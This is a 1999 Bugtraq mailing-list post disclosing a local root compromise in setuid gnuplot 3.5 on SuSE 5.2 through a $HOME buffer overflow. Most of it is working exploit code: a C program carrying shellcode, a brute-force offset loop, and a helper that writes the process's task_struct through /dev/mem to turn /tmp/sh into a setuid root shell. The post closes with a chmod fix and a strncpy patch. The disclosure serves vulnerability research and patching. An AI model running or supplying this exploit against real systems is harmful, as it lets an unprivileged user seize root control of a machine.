Bugtraq mailing list archives

Linux /usr/bin/gnuplot overflow


From: xnec () INFERNO TUSCULUM EDU (xnec () INFERNO TUSCULUM EDU)
Date: Thu, 4 Mar 1999 21:55:18 -0000


greetings,

INFO:

There is a local root comprimise in /usr/bin/gnuplot version Linux version 3.5
(pre 3.6) patchlevel beta 336.  gnuplot is shipped to install suidroot on
SuSE 5.2 and maybe others.  The exploit starts as a simple $HOME buffer
overflow, but much like zgv holes in the past, it drops root privs before the
overflow occurs.  However, as Nergal describes at
http://www.geek-girl.com/bugtraq/1998_4/0148.html, svgalib needs write access
to /dev/mem, and we can therefore regain root privs by overwriting our uid.

the offending code appears in plot.c where we see:

    char home[80];
...
    char *tmp_home=getenv(HOME);
...
    strcpy(home,tmp_home);

EXPLOIT:

xnec_plot.c
---snip---
/*
gnuplot Linux x86 exploit from xnec
tested on gnuplot Linux version 3.5 (pre 3.6) patchlevel beta 336/SuSE 5.2
gnuplot ships suidroot by default in SuSE 5.2, maybe others

gcc -o xnec_plot xnec_plot.c
./xnec_plot <bufsiz> <offset>

The buffer we're overflowing is only 80 bytes, so we're going to have to
get our settings just so.  If you don't feel like typing in command line
offsets and bufsizes, make a little shell script:
---
#! /bin/bash
bufsiz=110
offset=0

while [ $offset -lt 500 ]; do
  ./xnec_plot $bufsiz $offset
  offset=`expr $offset + 10`
done
---
since gnuplot drops root privs after it inits your svga, we can't just exec
/bin/sh, we'll need to use the technique of replacing our saved uid
in /dev/mem with '0', then execing whatever we please.  We do this by compiling
Nergal's program, mem.c and putting the output file in /tmp/xp, as in
gcc -o /tmp/xp mem.c.  Nergal's program will then make /tmp/sh suidroot,
so don't forget to cp /bin/sh /tmp/sh.  You will also have to change
line 32 to the correct address of kstat, which can be obtained by doing
strings /proc/ksyms | grep kstat.

Since I can see absolutely no reason for gnuplot to be suidroot, the best
fix is chmod -s /usr/bin/gnuplot.

greets to #sk1llz, xnec on EFnet and DALnet

*/

#include <stdlib.h>

#define DEFAULT_OFFSET 50
#define DEFAULT_BUFSIZ 110
#define NOP 0x90
#define DEFAULT_ADDR 0xbffff81c

/* Aleph One's shellcode, modified to run our own program */
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/tmp/xp";

unsigned long getsp(void) {
   __asm__("movl %esp,%eax");
}


void main(int argc, char *argv[]) {
  char *buf, *ret;
  long *addrp, addr;
  int bufsiz, offset;
  int i;

  bufsiz=DEFAULT_BUFSIZ;
  offset=DEFAULT_OFFSET;

  if (argc = 2) bufsiz  = atoi(argv[1]);
  if (argc = 3) offset = atoi(argv[2]);

  buf=malloc(bufsiz);
  addr = getsp() - offset;

  printf("address: 0x%x\n", addr);
  printf("bufsize: %d\n", bufsiz);
  printf("offset : %d\n", offset);

  ret = buf;
  addrp = (long *) ret;
  for (i = 0; i < bufsiz; i+=4)
    *(addrp++) = addr;

  memset(buf, NOP, (strlen(shellcode)/2));

  ret = buf + ((bufsiz/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ret++) = shellcode[i];

  buf[bufsiz - 1] = '\0';

  memcpy(buf,"HOME=", 5);
  setenv("HOME", buf, 1);
  execvp("/usr/bin/gnuplot", NULL);
}
---snip---

mem.c
---snip---
/* by Nergal */
#define SEEK_SET 0

#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__

#define SIZEOF sizeof(struct task_struct)

int mem_fd;
int mypid;

void
testtask (unsigned int mem_offset)
{
  struct task_struct some_task;
  int uid, pid;
  lseek (mem_fd, mem_offset, SEEK_SET);
  read (mem_fd, &some_task, SIZEOF);
  if (some_task.pid == mypid)   /* is it our task_struct ? */
    {
      some_task.euid = 0;
      some_task.fsuid = 0;      /* needed for chown */
      lseek (mem_fd, mem_offset, SEEK_SET);
      write (mem_fd, &some_task, SIZEOF);
      /* from now on, there is no law beyond do what thou wilt */
      chown ("/tmp/sh", 0, 0);
      chmod ("/tmp/sh", 04755);
      exit (0);
    }
}
#define KSTAT 0x001a8fb8  /*  <-- replace this addr with that of your kstat */
main ()                   /*      by doing strings /proc/ksyms |grep kstat  */
{
  unsigned int i;
  struct task_struct *task[NR_TASKS];
  unsigned int task_addr = KSTAT - NR_TASKS * 4;
  mem_fd = 3;                   /* presumed to be opened /dev/mem */
  mypid = getpid ();
  lseek (mem_fd, task_addr, SEEK_SET);
  read (mem_fd, task, NR_TASKS * 4);
  for (i = 0; i < NR_TASKS; i++)
    if (task[i])
      testtask ((unsigned int)(task[i]));

}
---snip---

FIX:

Since I see absolutely no good reason why gnuplot should be suidroot (who,
besides root, is going to run it, anyway?), I would recommend a simple
chmod -s /usr/bin/gnuplot.  If you absolutely insist on suid, here's the patch:

--- plot.c.old  Fri Mar  5 03:17:59 1999
+++ plot.c      Fri Mar  5 03:29:19 1999
@@ -516,7 +516,7 @@
     char c='\0';/* character that should be added, or \0, if none */

     if(tmp_home) {
-       strcpy(home,tmp_home);
+       strncpy(home,tmp_home,(sizeof(home) - 1));
        if( strlen(home) ) p = &home[strlen(home)-1];
        else               p = home;
 #if defined(MSDOS) || defined(ATARI) || defined( OS2 ) || defined(_Windows) ||
defined(DOS386)

However, this by no means was a comprehensive security audit of gnuplot, so
there may very well be a dozen other problems I've not fixed.

                             -xnec


##################################################################
#     xnec () inferno tusculum edu  -  xnec on IRC EF and DALnet    #
##################################################################



Current thread: